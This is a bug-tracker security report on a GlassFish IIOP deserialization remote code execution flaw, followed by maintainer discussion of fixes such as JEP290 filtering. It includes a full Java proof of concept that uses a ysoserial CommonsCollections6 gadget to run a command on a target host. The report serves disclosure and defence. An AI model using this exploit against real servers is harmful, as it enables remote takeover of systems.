Bug 559604 - glassfish iiop protocal unserializable remote code execute
Summary: glassfish iiop protocal unserializable remote code execute
Status: NEW
Alias: None
Product: z_Archived
Classification: Eclipse Foundation
Component: Orb (show other bugs)
Version: unspecified   Edit
Hardware: PC All
: P3 critical (vote)
Target Milestone: ---   Edit
Assignee: Security vulnerabilitied reported against Eclipse projects CLA
QA Contact:
URL:
Whiteboard:
Keywords: security
Depends on:
Blocks:
 
Reported: 2020-01-27 21:56 EST by rugal orich1 CLA
Modified: 2022-06-06 11:19 EDT (History)
5 users (show)

See Also:


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description rugal orich1 CLA 2020-01-27 21:56:01 EST
GlassFish Server iiop protocal default listened on 3700 port, and com.sun.enterprise.naming.impl.SerialContextProvider were exported, with method's param unserializable will lead to remote code execute

I test this vulnerability on GlassFish 5.1 & GlassFish 5.0.1

For simplicity, add commons-collections3.1 or other vulnerability jar to path 'glassfish/lib' or 'glassfish/domains/domain*/lib' or 'glassfish/domains/domain*/lib/ext', then use ysoserial project to write poc

I will give attack local service poc, for remote attck need some other tricks

please credit me as orich1 of CUIT D0g3 Secure Team

-------------------------poc
package ysoserial.exploit;

import com.sun.corba.ee.impl.misc.ClassInfoCache;
import com.sun.corba.ee.impl.util.RepositoryId;


import com.sun.corba.ee.spi.presentation.rmi.PresentationManager;
import com.sun.corba.ee.spi.presentation.rmi.StubAdapter;
import com.sun.enterprise.naming.impl.SerialContextProvider;
import org.omg.CORBA.ORB;
import org.omg.CORBA.portable.Delegate;
import org.omg.CosNaming.NameComponent;
import org.omg.CosNaming.NamingContext;
import org.omg.CosNaming.NamingContextHelper;
import org.omg.CosNaming._NamingContextExtStub;
import ysoserial.payloads.ObjectPayload;

import java.io.Externalizable;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.rmi.Remote;
import java.util.Properties;

public class GlassfishIIOP {

    public static void main(String[] args) throws Exception{

        String portString = "3700";
        String hostString = "192.168.204.134";

        Properties props = new Properties();
        // init corba
        props.put("org.omg.CORBA.ORBInitialPort", portString);
        props.put("org.omg.CORBA.ORBInitialHost", hostString);
        ORB orb = ORB.init(args, props);
        // got NameService
        org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");

        NamingContext nctx = NamingContextHelper.narrow(objRef);
        NameComponent[] path =
            { new NameComponent("SerialContextProvider", "") };
        org.omg.CORBA.Object obj = nctx.resolve(path) ;

        SerialContextProvider result = (SerialContextProvider) GlassfishIIOP.getDynamicStub(obj, SerialContextProvider.class);
//        result.list();
//        java.lang.Object exp = ObjectPayload.Utils.makePayloadObject("CommonsCollections6", "open /Applications/Calculator.app");;
        java.lang.Object exp = ObjectPayload.Utils.makePayloadObject("CommonsCollections6", "gnome-calculator");

        result.rebind("test", exp);
    }

    public static Object getDynamicStub(Object narrowFrom, Class narrowTo){
        Object result = null;
        if (narrowFrom == null) {
            return null;
        } else if (narrowTo == null) {
            throw new NullPointerException("invalid argument");
        } else {
            try {
                if (narrowTo.isAssignableFrom(narrowFrom.getClass())) {
                    return narrowFrom;
                } else if (ClassInfoCache.get(narrowTo).isInterface() && narrowTo != Serializable.class && narrowTo != Externalizable.class) {
                    org.omg.CORBA.Object narrowObj = (org.omg.CORBA.Object)narrowFrom;
                    String id = RepositoryId.createForAnyType(narrowTo);
                    if (narrowObj._is_a(id)) {
                        return GlassfishIIOP.loadStub(narrowObj, narrowTo);
                    } else {
                        throw new ClassCastException("Object is not of remote type " + narrowTo.getName());
                    }
                } else {
                    throw new ClassCastException("Class " + narrowTo.getName() + " is not a valid remote interface");
                }
            } catch (Exception var6) {
                ClassCastException cce = new ClassCastException();
                cce.initCause(var6);
                throw cce;
            }
        }
    }

    public static Remote loadStub(org.omg.CORBA.Object narrowFrom, Class narrowTo) {
        Remote result = null;

        try {
            String codebase = null;
            Delegate delegate = null;

            try {
                delegate = StubAdapter.getDelegate(narrowFrom);
                codebase = ((org.omg.CORBA_2_3.portable.Delegate)delegate).get_codebase(narrowFrom);
            } catch (ClassCastException var8) {
                var8.printStackTrace();
            }

            ORB orb = delegate.orb(narrowFrom);
            PresentationManager.StubFactoryFactory sff = null;
            if (orb instanceof com.sun.corba.ee.spi.orb.ORB) {
                sff = com.sun.corba.ee.spi.orb.ORB.getStubFactoryFactory();
            } else {
                PresentationManager pm = com.sun.corba.ee.spi.orb.ORB.getPresentationManager();

                // got DynamicStubFactory
                sff = pm.getDynamicStubFactoryFactory();
            }

            PresentationManager.StubFactory sf = sff.createStubFactory(narrowTo.getName(), false, codebase, narrowTo, narrowTo.getClassLoader());
            result = (Remote)sf.makeStub();
            StubAdapter.setDelegate(result, StubAdapter.getDelegate(narrowFrom));
        } catch (Exception var9) {
            var9.printStackTrace();
        }

        return result;
    }
}

-------------------------
Comment 1 Wayne Beaton CLA 2020-01-27 22:14:32 EST
I've added the Eclipse Glassfish project leads and have marked this bug "committers-only" (i.e., only visible to committers).

Project leads, there is help for handling vulnerabilities in handbook [1].

[1] https://www.eclipse.org/projects/handbook/#vulnerability
Comment 2 Steve Millidge CLA 2020-01-28 05:05:18 EST
I assume this bug needs a vulnerable jar on the server classpath e.g. Commons Collections which as AFAIK is not the default? 
We will take a look.
Comment 3 rugal orich1 CLA 2020-01-28 12:48:59 EST
(In reply to Steve Millidge from comment #2)
> I assume this bug needs a vulnerable jar on the server classpath e.g.
> Commons Collections which as AFAIK is not the default? 
> We will take a look.

Yes, Commons Collections is not the default.
When glassfish is installed by default, it will only have a limited impact, because there are a certain number of jars that are loaded into the classloader, but users may add vulnerable jars themselves when using glassfish.
Comment 4 Steve Millidge CLA 2020-01-28 12:55:32 EST
Thanks for clarifying the scope of the issue on a vanilla install of the server.

We are investigating and working on a fix.
Comment 5 Steve Millidge CLA 2020-04-27 12:51:21 EDT
I think this should be moved to the Orb project which is upstream from GlassFish for fixing.
Comment 6 Russell Gold CLA 2020-04-27 13:58:50 EDT
Not yet, at least. There are a few possible ways to fix it:

One involves the application classloader. If each application has its own, that can restrict the classes which could be deserialized, even if those classes are present in the server. The problematic classes tend not to be used by applications directly.

Another possibility is a blacklist of the known problem classes (that is, those which could start independent processing). Of course, that's a game of whack-a-mole, with hackers finding more and more classes that could be on the server. That blacklist would need to be updated for the server, but the ORB would need to support the JEP290 blacklist mechanism to recognize it. 

So I'd recommend adding JEP290 support to the ORB, and also having Glassfish warn, or warn and halt, if started on a JDK that doesn't implement JEP290